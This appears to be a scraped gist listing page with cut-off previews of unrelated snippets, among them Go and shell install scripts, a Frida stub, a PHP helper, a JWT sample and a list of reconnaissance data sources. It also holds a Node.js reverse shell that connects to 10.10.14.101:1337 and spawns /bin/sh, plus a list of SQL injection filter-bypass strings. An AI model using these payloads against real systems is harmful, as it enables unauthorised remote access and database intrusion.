This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if [ ! -z "$1" -a "$1" != " " ] | |
then | |
EXTRACT_APP_PATH=$1 | |
# echo $EXTRACT_APP_PATH | |
if [ -d "$EXTRACT_APP_PATH" ] | |
then | |
EXTRACT_APP_NAME="$(ls $1/ | grep .app)" | |
# echo $EXTRACT_APP_NAME | |
if [ ! -z "$EXTRACT_APP_NAME" -a "$EXTRACT_APP_NAME" != " " ] | |
then |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'Installing go...' | |
wget https://dl.google.com/go/go1.11.5.linux-armv6l.tar.gz | |
sudo tar -C /usr/local -xzf go1.11.5.linux-armv6l.tar.gz | |
rm go1.11.5.linux-armv6l.tar.gz | |
export GOROOT=/usr/local/go | |
export GOPATH=$HOME/go | |
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin | |
echo 'export GOROOT=/usr/local/go' >> ~/.bashrc | |
echo 'export GOPATH=$HOME/go' >> ~/.bashrc | |
echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> ~/.bashrc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Copyright (c) 2018, AverageSecurityGuy | |
# All rights reserved. | |
Created: 2018-11-08 | |
Modified: 2018-11-08 | |
Author: Stephen Haywood | |
Sources: http://blog.davidsingleton.org/parsing-huge-xml-files-with-go/ | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from __future__ import print_function | |
import frida | |
import sys | |
import json | |
import time | |
def on_message(message, payload): | |
if(message['type'] == 'send'): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var net = require('net'); | |
var spawn = require('child_process').spawn; | |
HOST="10.10.14.101"; | |
PORT="1337"; | |
TIMEOUT="5000"; | |
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } | |
function c(HOST,PORT) { | |
var client = new net.Socket(); | |
client.connect(PORT, HOST, function() { | |
var sh = spawn('/bin/sh',[]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
include_once 'getGooglePageSpeedScreenshot.php'; | |
echo getGooglePageSpeedScreenshot($_GET['url']); | |
// Output: <img src="..." border="1" style="width: 80px; height: 80px" /> | |
echo getGooglePageSpeedScreenshot($_GET['url'], [ | |
'class' => 'thumbnail', | |
'style' => ['width: 80px;', 'height: 80px;'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Target: | |
{ | |
"alg": "HS256", | |
"typ": "JWT" | |
} | |
{ | |
"sub": "1234567890", | |
"name": "John Doe", | |
"iat": 1516239022 |
- https://scans.io/
- https://commoncrawl.org/
- https://web.archive.org/ (For JS snippets this can be extremely handy. See killbox.sh below that was written for a HackerOne event.)
- https://www.shodan.io/
- https://opendata.rapid7.com/
- https://www.virustotal.com/en/documentation/public-api/ (You can fetch previously-scanned URLs via the API.)
- https://securitytrails.com/
- https://threatcrowd.org/
- https://dnsdumpster.com/
- https://crt.sh/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[~] order by [~] | |
/**/ORDER/**/BY/**/ | |
/*!order*/+/*!by*/ | |
/*!ORDER BY*/ | |
/*!50000ORDER BY*/ | |
/*!50000ORDER*//**//*!50000BY*/ | |
/*!12345ORDER*/+/*!BY*/ | |
[~] UNION select [~] |